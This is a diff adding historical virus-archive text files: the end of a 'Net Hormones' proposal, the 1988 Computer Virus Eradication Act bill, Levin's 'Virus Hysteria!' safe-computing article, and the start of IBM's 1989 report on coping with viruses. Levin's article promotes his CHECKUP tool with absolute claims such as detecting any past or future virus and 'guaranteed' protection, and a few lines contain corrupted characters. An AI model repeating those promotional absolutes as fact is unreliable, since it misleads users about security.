+6.3. Non-network transfers + +While the discussion above has focused on transfers through networks, +the same principles could be applied to disk or tape transfers. The +originating system would write a transaction code on the medium with +each file. Protection of identity would possibly be reduced under this +type of transfer. Since there is no question about the directionality +of transmission of an infectious agent in off-line transfers, non- +network transmission is likely to be easier to control. Several other +factors, such as the rate of spread of the agent, are likely to make +such infections less troublesome. + +7. Summary and Benefits + +The idea behind Net Hormones is to make immanent danger apparent. More +precisely Net Hormones permit the visualization of infection risk. + +7.1. Control of unidentified infectious agents. + +Net Hormones work by permitting isolation of infectious hosts from +those at risk. Identification of the infectious agent is not required +for action. Therefore, new and as yet unidentified agents can be +effectively controlled. + +7.2. Rapid response + +Hosts could automatically respond to alerts by determining if they had +been involved in suspect contacts, and generate new alerts that would +propagate along the potential route of infection. + +7.3. Protection of identity + +The mechanism could function without releasing the identity of an +infected host. This could be crucial in the case an institution that +did not wish it to be publicly know that its security system had been +compromised, or in the case of use of unregistered software. More +precisely, software obtain by untraceable and anonymous file transfers +could be protected by this mechanism without release of users' +identity. + +7.4. Distributed operation + +Operation is not dependent upon a centralized register or enforcement +mechanism. Some standardization would be helpful, however, and a way to +broadcast alerts to all potential hosts would be valuable. + +8. References + +Ferbrache, David J. (1989, February 10). Wide area network worms. +VIRUS-L Digest, V. 2 : Issue 44. [ ] + +McAfee, J. D. (1989, February 13). In depth: Managing the virus threat. +Computerworld, 89-91; 94-96. + +Scott, Peter. (1989, February 10). Virus detection. VIRUS-L Digest, V. +2 : Issue 44. [PJS%naif.JPL.NASA.GOV@Hamlet.Bitnet +. ] + +Stodolsky, D. (1979a, April 9). Personal computers for supporting +health behaviors. Stanford, CA: Department of Psychology, Stanford +University. (Preliminary proposal) + +Stodolsky, D. (1979b, May 21). Social facilitation supporting health +behaviors. Stanford, CA: Department of Psychology, Stanford University. +(Preliminary proposal) + +Stodolsky, D. (1979c, October). Systems approach to the epidemiology +and control of sexually transmitted diseases. Louisville, KY: System +Science Institute, University of Louisville. (Preliminary project +proposal) + +Stodolsky, D. (1983, June 15). Health promotion with an advanced +information system. Presented at the Lake Tahoe Life Extension +Conference. (Summary) + +Stodolsky, D. (1986, June). Data security and the control of infectious +agents. (Abstracts of the cross disciplinary symposium at the +University of Linkoeping, Sweden: Department of Communication Studies). + +Webster's new collegiate dictionary. (1976). Springfield, MA: G. & C. +Merriam + +------------------------------------------------------------- + +David Stodolsky diku.dk!stodol@uunet.UU.NET +Department of Psychology Voice + 45 1 58 48 86 +Copenhagen Univ., Njalsg. 88 Fax. + 45 1 54 32 11 +DK-2300 Copenhagen S, Denmark stodol@DIKU.DK + + \ No newline at end of file diff --git a/textfiles.com/virus/hr5061.vir b/textfiles.com/virus/hr5061.vir new file mode 100644 index 00000000..196d71ca --- /dev/null +++ b/textfiles.com/virus/hr5061.vir @@ -0,0 +1,61 @@ +The following is the text of proposed federal legislation imposing +possible fines, jail sentences and civil liability on purveyors of +computer viruses and other harmful programs. The title of the Act is +"The Computer Virus Eradication Act". It was sponsored during the +1988 session of Congress by Congressman Wally Herger, 26th District, +California. + + H.R.5061 + + A BILL + +To amend title 18, United States Code, to provide penalties for persons +interfering with the operations of computers through the use of +programs containing hidden commands that can cause harm, and for +other purposes. + +Be it enacted by the Senate and House of Representatives of the +United Sates of America in Congress assembled. + + +Section 1. Short Title. + +This Act may be cited as the "Computer Virus Eradication Act of +1988". + +Section 2. Title 18 Amendment. + + (a) IN GENERAL.---Chapter 65 (relating to malicious mischief) of +title 18, United Sates Code, is amended by adding at the end the +following: + +"Sec. 1368. Disseminating computer viruses and other harmful +computer programs + + "(a) Whoever knowingly--- + + "(1) inserts into a program for a computer information or +commands, knowing or having reason to believe that such information +or commands will cause loss to users of a computer on which such +program is run or to those who rely on information processed on such +computer; and + + "(2) provides such program to others in circumstances in which +those others do not know of the insertion or its effects; + +or attempts to do so, shall, if any of such conduct affects interstate or +foreign commerce, be fined under this title or imprisoned not more +than 10 years, or both. + + "(b) Whoever suffers loss by reason of a violation of subsection (a) +may, in a civil action against the violator, obtain appropriate relief. In +a civil action under this section, the court may award to a prevailing +party a reasonable attorney's fee and other litigation expenses.". + + + (b) CLERICAL AMENDMENT.---The table of sections at the +beginning of chapter 65 of title 18, United States Code, is amended by +adding at the end the following: + "1368. Disseminating computer viruses and other harmful computer +programs.". + \ No newline at end of file diff --git a/textfiles.com/virus/hysteria.vir b/textfiles.com/virus/hysteria.vir new file mode 100644 index 00000000..1d4a23a3 --- /dev/null +++ b/textfiles.com/virus/hysteria.vir @@ -0,0 +1,360 @@ + Reprinted from CompuMag, Vol. 1 (1989), Issues 3 and 4 + For subscription information call 1-805-273-0300 + + Virus Hysteria! + + by Richard B. Levin + + You're scared. Having heard how computer viruses leap + from computer to computer, you've learned your system could + be the next unwitting sufferer of a computer flu. After + all, your friend has a friend whose cousin knows someone + that witnessed a virus display "Arf! Arf! Gotcha'!" as it + gobbled up data on an office PC. And your local BBSes are + bubbling over with heated horror stories about bombs, + Trojans and viruses, not to mention countless + recommendations for anti-virus software products. It seems + that every new day brings with it stories of impending + computerized doom, created by evil geniuses with programming + abilities far beyond those you or your associates could ever + hope to achieve, much less do battle against. + + Relax! Hysteria over computer viruses comes in waves. + The hysteria is fueled, in large part, by the popular press' + frenzied, poorly researched and consistently inaccurate + reporting on the subject. Computer crime is not a new story + and viruses are simply the latest plot twist. Vandals + sending "time-bombs" and viruses into our nation's telephone + network are akin to hackers breaking into corporate or + government mainframe computers and scrambling data--the + techniques they use for sowing destruction may differ, but + their intent and results are the same. Before you hang up + your joystick in disgust, however, realize that computer + vandalism has been with us, in one form or another, since + the first CRT was fired-up and will remain until the last + disk drive grinds to a halt. In any public endeavor there + will be an anti-social element; computing is no exception. + In the interest of "safe computing," the question we must + ask is "how do we protect ourselves from the ravages of the + computer criminal and computer viruses?" + + If you choose not to ignore the reality of computer + viruses, there remains three ways to dispense with the + problem: virus prevention software, virus detection + software and safe-computing practices (which includes + anti-virus software usage, among other things). As with + other forms of crime prevention, virus prevention software + products may provide an effective deterrent in some cases; + they fail, however, when the criminal element is determined + to perpetrate criminal acts. Most virus prevention software + products have serious technical drawbacks users naturally + overlook (we're not all computer scientists) and virus + developers exploit. For example, not one of the anti-virus + software programs on the market today can protect a system + from a deadly disk "write" that bypasses DOS by directly + manipulating the disk controller. Users of virus prevention + products believe their computers are ImZ]톉벙Ⅱ빋 in + reality,`taey're sitting ducks, safeguarded only from the + simplest of viruses. + + Fact: it is physically impossible to prevent all + manner of viruses from entering your system; no matter how + many automobile alarms you may install, if the crooks want + to steal the wheels badly enough, they will. This same line + of reasoning remains true in the area of virus protection: + if the virus developer is determined to breach your system, + your system will be compromised. You can, however, detect + viral infections almost immediately after they occur, which + allows you to rapidly eradicate the invaders and prevent + future infections. By employing the following "safe + computing" measures (excerpted from the documentation that + accompanies my CHECKUP virus detection system) and by + installing a reliable virus DETECTION system, you are + guaranteed a measure of security virus PREVENTION software + can never provide: + + * Run CHECKUP (or another reliable virus + detection system) daily. CHECKUP provides a + sanitary, clean floppy disk/batch file method + that is capable of detecting any virus, past, + present or future. + + * Run major applications via DOS batch files + and have CHECKUP (or another reliable virus + detection system) perform a pre-run, + last-minute ci�ck of programs about to run. + + Using CHECKUP, for example: instead of + typing the "WORD" command to run Microsoft + Word, create a batch file named "WRD.BAT" + that reads as follows: + + CD \WORD + + CHECKUP WORD.COM + IF ERRORLEVEL 1 GOTO EXIT + + CHECKUP WORD_DCA.EXE + IF ERRORLEVEL 1 GOTO EXIT + + CHECKUP MAKEPRD.EXE + IF ERRORLEVEL 1 GOTO EXIT + + CHECKUP MERGEPRD.EXE + IF ERRORLEVEL 1 GOTO EXIT + + CHECKUP MW.PGM + IF ERRORLEVEL 1 GOTO EXIT + + CHECKUP SPELL-AM.EXE + IF ERRORLEVEL 1 GOTO EXIT + + WORD + + :EXIT + + In the future, use the WRD command to invoke + Microsoft Word. CHECKUP will examine all of + Microsoft Word's executable files and will + allow them to run if (and only if) they pass + CHECKUP's scrutiny. Of course, unlike + Microsoft Word, many applications have only + one principal executable file to check, + greatly simplifying implementation of pre-run + checking through DOS batch files. + + * Regularly check and log available disk space. + Aggressive viruses decrease storage space as + they spread throughout a system. This + activity can be identified through rigorous + monitoring. + + The following commands, added to + AUTOEXEC.BAT, will track disk usage: + + CD \ + DIR >> DIR.LOG + TYPE DIR.LOG > PRN + + * Observe the time it takes for programs to + load--infected files take longer. Programs + exhibiting longer than normal load times + might be infected (see next tip for related + information). + + * Scrutinize disk accesses whenever possible. + Viruses can spend large amounts of time + scanning directories and executable files as + they search for new, uninfected host files. + Programs conducting longer than normal disk + I/O, especially during load-time, might be + infected. + + * Periodically re-install applications from + their master disks. This overwrites + application files in use and any viruses + incubating within them. + + * Once a week, use the SYS command to + re-install the system files onto your boot + disk(s). This eliminates viruses lurking in + the boot sectors. + + * Use the DOS "SHELL" command to rename and + relocate COMMAND.COM to a directory other + than the root of your boot disk. Then place + a different copy of COMMAND.COM in the root + directory. This may divert viruses into + infecting the decoy copy instead of your + actual command processor. Refer to your DOS + reference manuals for information on the + SHELL command. + + * Boot from a certified clean floppy disk copy + of your DOS master disks whenever possible. + This insures your system is running under an + uncorrupted operating system at all times. + + * Change executable file attributes to + read-only. Poorly engineered viruses may not + be able to alter read-only files. Executable + files are those ending in a .BAT, .COM or + .EXE extension or loaded in CONFIG.SYS. + + Many programs write to their master + executable file when saving configuration + information. If such a file has been + converted to read-only, the read-only + attribute must be removed before + re-configuring and reset afterward. + + There are many utilities that can reset file + attributes, including ATTR.COM, available for + downloading from the PC-Magazine Network on + CompuServe. CompuServe users can "GO + PCMAGNET" to download ATTR.COM. If you own + the Norton Utilities, use Norton's FA.EXE to + change attributes of COMMAND.COM to read-only + using Norton's FA, enter: + + FA COMMAND.COM /R+ + + Some versions of DOS provide an ATTRIB (or + similar) command. Check your DOS reference + manuals for more information on modifying + file attributes. + + * Use extreme caution when working with FAT and + directory editors, directory sorters, disk + optimizers, file movers, format-recovery + systems, partition-related tools, un-erasers + and other low-level DOS utilities. These + programs manipulate critical data and one bug + or errant keystroke can annihilate a disk. + Additionally, DOS shells should be treated + with care as they also handle critical disk + information. + + Safe bets for low-level disk management are + the Norton Utilities, Advanced Edition, from + Peter Norton Computing, Inc.; PC-Tools from + Central Point Software and the Mace Utilities + from Paul Mace Software. Among DOS shells, + we recommend the Norton Commander, also from + Peter Norton Computing, Inc. These programs + are available at most computer retailers. + + * Do not run files downloaded from public + access BBSes (bulletin board systems) that do + not validate users who upload. If the SysOp + of a bulletin board did not contact you + directly (by phone, mail or automatic + callback), you can be certain that other + users have not been validated. (SysOps: If + validating users is a burden, a practical + alternative is to validate them after they + upload their first file.) + + * Do not run files downloaded from public + access BBSes where the SysOps do not test and + approve all files. + + * Do not run files provided by shareware/public + domain disk distributors, including your + local users group, where the disk librarians + do not test and approve all files. + + * Do not run self-extracting archives unless + they have been tested. Self-extracting + archives are a classic delivery method used + by bomb developers. + + * Beware of suspicious-looking files. A 128 + byte .COM file that un-archives without + documentation and whose description reads + "Great Word Processor" is suspect. + + * Use a binary file-viewing utility (like the + one included in the Norton Commander) to + examine executable code. Look for suspicious + comments and messages embedded in the code. + + * Do not run programs unaccompanied by + well-written documentation prepared by the + program's author. + + * Do not run programs that do not include the + name, address and telephone number(s) of the + author within the documentation or + executable(s). + + * Call program authors and verify the version + number, time and date stamps, file sizes and + archive contents of files you have received. + !� Ask authors where you can get certified clean + copies of their programs, then discard the + copies you have and get the certified copies. + + * Download shareware direct from the author's + BBS. Most professional shareware authors + provide support BBSes for their products. + You are guaranteed uncorrupted programs when + you download them directly from their + authors. + + * Do not use hacked or pirated software. + Software pirates have the skill and the tools + needed to create bombs and viruses. Many + reported incidents of viral infections have + been associated with software piracy. In + fact, some of the deadliest Trojans have been + modified copies of well-known applications. + + * Back-up your system regularly! No system + exists in a vacuum, nor is any anti-virus or + anti-Trojan technique foolproof. Back-up on + a daily, weekly and monthly basis. When + disaster strikes, users who have regularly + backed-up their systems will have the last + laugh (and their data)! + + If you are not using a virus detection system or you + are using a less-than-perfect virus detection system, how + can you tell if a virus has landed on your system and begun + eating away at your precious data? The following + guidelines, also excerpted from CHECKUP's documentation, + will help you identify the viral warning signs: + + 1. Computer operations seem sluggish. + + 2. Programs take longer to load. + + 3. Programs access multiple disk drives when + loading where they didn't before. + + 4. Programs conduct disk accesses at unusual + times or with increased frequency. + + 5. Available disk space decreases rapidly. + + 6. The number of bad disk sectors steadily + increases. + + 7. Memory maps reveal new TSR programs of + unknown origin. + + 8. Normally well-behaved programs act abnormally + or crash without reason. + + 9. Programs encounter errors where they didn't + before. + + 10. Programs generate undocumented messages. + + 11. Files mysteriously disappear. + + 12. Names, extensions, dates, attributes or data + changes on files that have not been modified + by users. + + 13. Data files or directories of unknown origin + appear. + + 14. CHECKUP (or another reliable virus detection + system) detects changes to static objects + (files). Changes detected to dynamic objects + are not an indication of viral alterations. + + Rest assured that neither you nor anyone you know will + suffer a major data loss from a viral attack if + safe-computing measures are implemented religiously. When + and if a viral infection is discovered, turn your computer + off and contact a good viral diagnostician for eradication + advice. Do not use your computer or any floppy disks + associated with your computer until your system has been + thoroughly cleansed. Above all, however, enjoy computing + and the thousands of quality public domain and shareware + programs at your disposal. Take comfort in the knowledge + that safe-computing techniques, employed properly, will + serve to protect your data from harm. + \ No newline at end of file diff --git a/textfiles.com/virus/ibmpaper.vir b/textfiles.com/virus/ibmpaper.vir new file mode 100644 index 00000000..f577ef37 --- /dev/null +++ b/textfiles.com/virus/ibmpaper.vir @@ -0,0 +1,2377 @@ + + + + + + + Coping with Computer Viruses and Related Problems + + Steve R. White + David M. Chess + IBM Thomas J. Watson Research Center + Yorktown Heights, NY + + Chengi Jimmy Kuo + IBM Los Angeles Scientific Center + Los Angeles, CA + + Research Report (RC 14405) + January 30, 1989 + + + + This research report is provided without restriction; + we encourage its redistribution. + + + + + + Copies may be requested from: + + IBM Thomas J. Watson Research Center + Distribution Services F-11 Stormytown + Post Office Box 218 + Yorktown Heights, New York 10598 + + (This report will be available from this address up to + one year after the IBM publication date (up to Jan 1990)) + + + This online version differs from the hardcopy report only + in pagination, and in using *asterisks* for emphasis. It + is formatted to print at 66 lines per page, and 80 or so + characters per line (including a 10 character margin on + either side). + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Coping with Computer Viruses and Related Problems + + + + + + + + + + + Steve R. White + David M. Chess + IBM Thomas J. Watson Research Center + Yorktown Heights, NY + + Chengi Jimmy Kuo + IBM Los Angeles Scientific Center + Los Angeles, CA + + + + + + Research Report Number RC 14405 + + January 30, 1989 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ABSTRACT + + + + We discuss computer viruses and related problems. Our + intent is to help both executive and technical managers + understand the problems that viruses pose, and to suggest + practical steps they can take to help protect their + computing systems. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Abstract ii + + + + + + + + + + CONTENTS + + + + 1.0 Executive Summary . . . . . . . . . . . . . . . . . 1 + 1.1 What Is a Computer Virus? . . . . . . . . . . . . . 1 + 1.2 How Can Computer Viruses Affect an Organization? . . 2 + 1.3 How Serious Is The Problem? . . . . . . . . . . . . 2 + 1.4 Summary and Recommendations . . . . . . . . . . . . 3 + + 2.0 Coping with Computer Viruses: A Guide for Technical + Management . . . . . . . . . . . . . . . . . . . . . . . 5 + 2.1 How Viruses Infect Computing Systems . . . . . . . . 5 + 2.2 How Viruses Differ From Other Security Threats . . . 6 + 2.3 General Security Policies . . . . . . . . . . . . . 7 + 2.3.1 User Education . . . . . . . . . . . . . . . . . 7 + 2.3.2 Backups . . . . . . . . . . . . . . . . . . . . 7 + 2.4 Decreasing the Risk of Viral Infection . . . . . . . 8 + 2.4.1 Isolated Systems . . . . . . . . . . . . . . . . 8 + 2.4.2 Limited-Function Systems . . . . . . . . . . . . 9 + 2.4.3 Policies for Software Repositories . . . . . . 10 + 2.4.4 Policies for Production Systems . . . . . . . 11 + 2.5 Detecting Viral Infections . . . . . . . . . . . . 12 + 2.5.1 Watching for Unexpected Things Happening . . . 13 + 2.5.2 Some Symptoms of Known Viruses . . . . . . . . 13 + 2.5.3 Watching for Changes to Executable Objects . . 15 + 2.5.4 Using External Information Sources . . . . . . 17 + 2.6 Containing Viral Infections . . . . . . . . . . . 17 + 2.6.1 The Importance of Early Detection . . . . . . 17 + 2.6.2 The Importance of Rapid Action . . . . . . . . 18 + 2.7 Recovering from Viral Infections . . . . . . . . . 19 + 2.7.1 Restoration and Backups . . . . . . . . . . . 19 + 2.7.2 Virus-Removing Programs . . . . . . . . . . . 20 + 2.7.3 Watching for Re-Infection . . . . . . . . . . 20 + 2.8 Summary and Recommendations . . . . . . . . . . . 21 + + For Further Reading . . . . . . . . . . . . . . . . . . 23 + + Glossary . . . . . . . . . . . . . . . . . . . . . . . 24 + + Appendix: Viral Infections in PC-DOS . . . . . . . . . 27 + + + + + + + + + + + + + + + + Contents iii + + + + + + + + + + PREFACE + + + + While this document has been widely reviewed, and many + helpful suggestions have been incorporated, the authors are + entirely responsible for its present content. It does not + represent the opinions, policies, or recommendations of IBM + or any other organization. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Preface iv + + + + + + + + + + 1.0 EXECUTIVE SUMMARY + + + + Computer viruses present a relatively new kind of security + problem in computing systems. The purpose of this section + is to acquaint the senior management of an organization with + the nature of the problem. It also outlines some of the + steps that can be taken to reduce the organization's risk + from computer viruses and other, similar, problems. + + Traditional computer security measures are helpful, but new + measures are needed to deal with the problems effectively. + The computer security management of the organization will + play a key role in reducing the risk. But education and + ongoing participation of the users are also vital. + + + + + 1.1 WHAT IS A COMPUTER VIRUS? + + + A computer virus is one kind of threat to the security and + integrity of computer systems. Like other threats, a + computer virus can cause the loss or alteration of programs + or data, and can compromise their confidentiality. Unlike + many other threats, a computer virus can spread from program + to program, and from system to system, without direct human + intervention. + + The essential component of a virus is a set of instructions + which, when executed, spreads itself to other, previously + unaffected, programs or files. A typical computer virus + performs two functions. First, it copies itself into + previously-uninfected programs or files. Second, (perhaps + after a specific number of executions, or on a specific + date) it executes whatever other instructions the virus + author included in it. Depending on the motives of the + virus author, these instructions can do anything at all, + including displaying a message, erasing files or subtly + altering stored data. In some cases, a virus may contain no + intentionally harmful or disruptive instructions at all. + Instead, it may cause damage by replicating itself and + taking up scarce resources, such as disk space, CPU time, or + network connections. + + There are several problems similar to computer viruses. + They too have colorful names: worms, bacteria, rabbits, and + so on. Definitions of them are given in the glossary. Each + shares the property of replicating itself within the + computing system. This is the property on which we will + focus, using viruses as an example. There are also a + variety of security issues other than viruses. Here, we + + + Executive Summary 1 + + + + + + + + + + will deal only with viruses and related problems, since new + measures are required to deal with them effectively. + + + + 1.2 HOW CAN COMPUTER VIRUSES AFFECT AN ORGANIZATION? + + + Let us examine a particular sequence of events, by which a + virus could enter an organization and spread within it. + Suppose that the organization hires an outside person to + come in and perform some work. Part of that person's work + involves working on one of the organization's personal + computers. The person brings in a few programs to aid in + this work, such as a favorite text editor. + + Without the person having realized it, the text editor may + be infected with a virus. Using that editor on one of the + organization's machines causes the virus to spread from the + editor to one of the programs stored on the organization's + machine, perhaps to a spreadsheet program. The virus has + now entered the organization. + + Even when the outside person leaves, the virus remains on + the machine that it infected, in the spreadsheet program. + When an employee uses that spreadsheet subsequently, the + virus can spread to another program, perhaps to a directory + listing program that the employee keeps on the same floppy + disk as the spreadsheet data files. The listing program is + then infected, and the infection can be spread to other + computers to which this floppy disk is taken. If the + employee's personal computer is connected to the + organization's network, the employee may send the listing + program to another user over the network. In either case, + the virus can spread to more users, and more machines, via + floppy disks or networks. Each copy of the virus can make + multiple copies of itself, and can infect any program to + which it has access. As a result, the virus may be able to + spread throughout the organization in a relatively short + time. + + Each of the infected programs in each of the infected + machines can execute whatever other instructions the virus + author intended. If these instructions are harmful or + disruptive, the pervasiveness of the virus may cause the + harm to be widespread. + + + + 1.3 HOW SERIOUS IS THE PROBLEM? + + + Traditional security measures have attempted to limit the + number of security incidents to an acceptable level. A + + + Executive Summary 2 + + + + + + + + + + single incident of lost files in a year may be an acceptable + loss, for instance. While this is important, it only + addresses part of the problem of viruses. Since a single + virus may be able to spread throughout an organization, the + damage that it could cause may be much greater than what + could be caused by any individual computer user. + + Limiting the number of initial viral infections of an + organization is important, but it is often not feasible to + prevent them entirely. As a result, it is important to be + able to deal with them when they occur. + + Most actual viruses discovered to date have either been + relatively benign, or spread rather slowly. The actual + damage that they have caused has been limited accordingly. + In some cases, though, thousands of machines have been + affected. Viruses can easily be created which are much less + benign. Their *potential* damage is indeed large. + Organizations should evaluate their vulnerability to this + new threat, and take actions to limit their risks. + + + + + 1.4 SUMMARY AND RECOMMENDATIONS + + + o A computer virus is a program that can infect other + programs by modifying them to include a copy of itself. + When the infected programs are executed, the virus + spreads itself to still other programs. + + o Viruses can spread rapidly in a network or computing + system and can cause widespread damage. + + o Unlike many other security threats, viruses can enter a + given computing system without anyone intending them to. + + + o There are no known ways to make a general computing + system completely immune from viral attacks, but there + are steps you can take to decrease the risks: + + - Use good general security practices. (For a more + complete discussion of these points, and some + examples of others, see reference (6).) + + -- Keep good backups of critical data and programs. + -- Periodically review overall controls to + determine weaknesses. + -- Use access control facilities to limit access to + information by users, consistent with their job + duties and management policies. Audit accesses + that do occur. + + + Executive Summary 3 + + + + + + + + + + -- Do not use network connections to outside + organizations without a mutual review of + security practices. + -- Consider limiting electronic mail communications + to non-executable files. Separate + communications that must move executable files + from electronic mail, so that they can be + separately controlled. + -- Make security education a prerequisite to any + computer use. + + - Put a knowledgeable group in place to deal with + virus incidents. + + -- The group may be a formal part of the + organization, or may be an informal collection + of knowledgeable people. + + -- The group should be responsible for educating + users about the threat of viruses, providing + accurate information about viruses, responding + to reports of viruses, and dealing with viral + infections when they occur. + + -- Make sure each employee who works with a + computer knows how to contact this group if they + suspect a viral infection. + + - Develop a plan to deal with viruses *before* there is + a problem. + + -- Decrease the risks of an initial infection, from + internal and external sources. + -- Put mechanisms in place to detect viral + infections quickly. + -- Develop procedures to contain an infection once + one is detected. + -- Know how to recover from a viral infection. + + - Test the plan periodically, as you would test a fire + evacuation plan. + + -- But *do not* use a real virus to test the plan! + + + + + + + + + + + + + + Executive Summary 4 + + + + + + + + + + 2.0 COPING WITH COMPUTER VIRUSES: A GUIDE FOR TECHNICAL + MANAGEMENT + + + + Once an organization makes a commitment to deal with the + problems of computer viruses, there are specific areas which + should receive attention. The purpose of this section is to + acquaint technical management with the problems and to + indicate the actions that can be taken to limit the risks + posed by viruses. + + + + 2.1 HOW VIRUSES INFECT COMPUTING SYSTEMS + + + There are many ways in which a system can become infected + with a virus. Any time a program is run which can alter one + or more other programs, there is the possibility of viral + infection. Any time a user executes a program which is + written by anyone else, compiled by a compiler, or linked + with run time libraries, all the resources to which that + program has access are in the hands of every person who + contributed to that program, that compiler, or those + libraries. + + The initial introduction of an infected program can occur + through a large variety of channels, including: + + o Software introduced into or used on the system by an + outsider who had access to the system, + + o Software used at home by an employee whose home computer + system is, unknown to the employee, itself infected, + + o Software purchased from a commercial software company + whose production facilities are infected, + + o Software that turns out to be infected that has been + down-loaded from public bulletin boards for business + use, or by employees, + + o Software intentionally infected by a malicious or + disgruntled employee, + + o *Any* other time that a piece of software (including + programs, operating systems, and so on) is created + within the organization, or brought in from *any* + outside source. + + See the appendix for an example of sources and locations of + possible infection for one operating system. + + + Coping with Computer Viruses: A Guide for Technical + Management 5 + + + + + + + + + + 2.2 HOW VIRUSES DIFFER FROM OTHER SECURITY THREATS + + + + There are many kinds of threats to security. Threats + traceable to dial-in systems are greatly reduced with the + use of call-back systems. Simple threats created by + disgruntled employees can often be traced to the person + responsible. One important thing that makes the virus + different from all the rest is its untraceability. Except + in rare cases, the only way a virus' author becomes known is + if the author admits to ownership. As a result, an author + can create a virus with reasonable certainty that he will + not be discovered. This allows great latitude in the design + of the destructive portion of the virus. + + The only perfect ways to protect against viral infection are + isolation and reduced functionality. A computer system + cannot be infected if it runs only one fixed program, and + cannot have new programs either loaded or created on it. + But this is clearly not very useful in many circumstances. + So there is almost always some exposure. As with other + security concerns, it is a matter of weighing benefits, + practicality, and potential risks, and then taking + cost-effective action to help control those risks. + + Viruses exhibit elements of many other security threats. + (See the Glossary for a summary of some of these threats.) + There are important differences, though. Dr. Fred Cohen, + who has done much of the original research on computer + viruses, defines a virus as: + + a program that can "infect" other programs by modifying + them to include a possibly evolved copy of itself. (See + reference (1).) + + But a virus is more than the part that replicates itself. + There is usually also a potentially damaging portion. This + portion could be a "time bomb" (on November 11th, display a + political message), a "logic bomb" (when it sees a certain + write to disk, it also corrupts the file structure), or + anything else the virus author can design. The variety of + possible effects is part of the reason why the notion of a + virus is so confusing to many people. The term "virus" is + sometimes misused to refer to anything undesirable that can + happen to a computer. This is incorrect. The thing that + makes viruses and related threats different from other + problems is that they spread. + + + + + + + + Coping with Computer Viruses: A Guide for Technical + Management 6 + + + + + + + + + + 2.3 GENERAL SECURITY POLICIES + + + + 2.3.1 User Education + + + Good security policies depend on the knowledge and + cooperation of the users. This is just as true of security + against viruses as it is of policies about password + management. Users should be aware of the dangers that + exist, should know what to do if they suspect they have + found a security problem. In particular, they should know + whom to call if they have questions or suspicions, and + should know what to do, and what not to do, to minimize + security risks. Users should be encouraged to feel that + security measures are things that they want to do for their + own benefit, rather than things that are required for no + rational reason. + + A strategy to detect and contain viruses is described below. + An important part of that strategy is for users to know whom + to call if they see a system problem that may be the result + of a virus. Someone should always be available to work with + the user in determining if a problem exists, and to report + the problem to a central source of information if it is + serious. This central source must have the ability to + inform the necessary people of the problem quickly and + reliably, and to set in motion the process of containing and + solving the problem. More detailed suggestions for this + mechanism will be given below, but each stage depends on + education. It is important to educate the end users, the + first-level support people, and management involved at all + levels, since they must take the necessary actions quickly + when a viral infection is detected. + + + + 2.3.2 Backups + + + Even without the threat of viruses, good backups are an + important part of system management. When a program or a + data file is lost, a good set of backups can save many days + or months of work. The potential harm caused by computer + viruses only increases the need for backups. + + Although they are necessary for recovery, backups can also + present a place for a virus to hide. When a virus attack + has been stopped, and the virus removed from all software on + the system, the obvious way to recover altered or lost files + is by restoring them from backups. Great care must be taken + not to reintroduce the virus into the system in the process! + + + Coping with Computer Viruses: A Guide for Technical + Management 7 + + + + + + + + + + All backups should be inspected to ensure that the virus is + not present in any file on any backup. Until a backup has + been certified "clean," it should not be used, unless + certain files on it are not recoverable through other means. + Even in this case, it is necessary to be very careful to + restore only objects which the virus did not infect or + otherwise change. The behavior of the virus should be well + understood before any restoration from backup is attempted. + + + + 2.4 DECREASING THE RISK OF VIRAL INFECTION + + + Viruses can spread from one user to another on a single + system, and from one system to another. A virus can enter a + company either by being written within the company, or by + being brought in from the outside. Although a virus cannot + be written accidentally, a virus may be brought in from the + outside either intentionally or unintentionally. Viruses + can enter a company because a program is brought in from + outside which is infected, even though the person who brings + it in does not know it. + + Because sharing of programs between people is so + commonplace, it is difficult to prevent an initial infection + from "outside." An employee may take a program home to use + it for business purposes on his or her home computer, where + it becomes infected. When the program is returned to the + workplace, the infection can spread to the workplace. + Similarly, an outside person can bring a set of programs + into a company in order to perform work desired by the + company. If these programs are infected, and they are + executed on the company's systems, these systems may also + become infected. + + There are two major ways to prevent infection in the first + place, and to limit the spread of an existing infection: + isolating systems, and limiting their function. + + + + 2.4.1 Isolated Systems + + + Since viruses spread to new users and systems only when + information is shared or communicated, you can prevent + viruses from spreading by isolating users and systems. + Systems that are connected to other systems by a network can + spread a virus across that network. Isolating systems from + the network will prevent their being infected by that + network. If a company maintains connections with other + companies (or universities, or other institutions) by a + + + Coping with Computer Viruses: A Guide for Technical + Management 8 + + + + + + + + + + network, a virus may be able to enter the company through + that network. By isolating the company from such external + networks, it cannot be infected by these networks. + + This is a reasonable policy to follow when possible, + especially for those systems which contain especially + sensitive programs and data. It is impractical in many + cases, though. Networks are valuable components of a + computing system. The easy sharing of programs and data + that they make possible can add substantially to the + productivity of a company. You should be aware, however, + that this sharing also increases the risk of viral infection + to these systems. This is especially true if the network + security measures have not been designed with viruses and + related threats in mind. + + Your organization may wish to limit the kinds of access to + systems afforded to those outside the organization. In many + cases, users of external systems may be less motivated to be + benevolent to your systems than internal users are. This + may make it worthwhile to limit the ability of external + users to transmit executable files, or have full interactive + access, to internal systems. + + Similarly, movement of programs between personal computers + on floppy disks can result in one system infecting another. + If an employee's home computer is infected, for instance, + bringing a program (or even a bootable disk) from home to + work could result in the work computer becoming infected. + You may want to have a policy that employees should not + bring programs or bootable disks between work and home. Or, + you may want to have a policy that employees should use + virus-detection tools on their home computers as well as + their work computers. + + + + + 2.4.2 Limited-Function Systems + + + Since viruses must be able to infect other executable + objects in order to spread, you can help prevent viruses + from spreading by eliminating this ability from a computing + system. This can be done in some circumstances by + restricting the ability to add or change programs on a + system. + + If general-purpose programming must be done on a system, as + is the case with development systems, it is not possible to + prevent users from creating or adding new programs. On + these systems, it is not possible to prevent the + introduction of viruses under every possible condition. + + + Coping with Computer Viruses: A Guide for Technical + Management 9 + + + + + + + + + + Many companies have computing systems, including + workstations and personal computers, that are not used for + general-purpose programming. A bank, for instance, may use + personal computers as teller stations, to handle a fixed set + of teller transactions. Since the tellers need not program + these systems, it may be possible to strictly limit the + introduction of new programs and thus greatly limit the + introduction of viruses onto them. + + This is a prudent policy. Whenever practical, limit the + ability of users to add or change programs on the systems + they use. This ability should be restricted to authorized + personnel, and these personnel should use every means + available to them to check any new programs for viruses + before they are installed in the limited-function systems. + As long as no new programs are introduced, no new viruses + can be introduced onto these systems. + + Remember, though, that the trend in personal workstations + has been toward the empowerment of the individual user, + 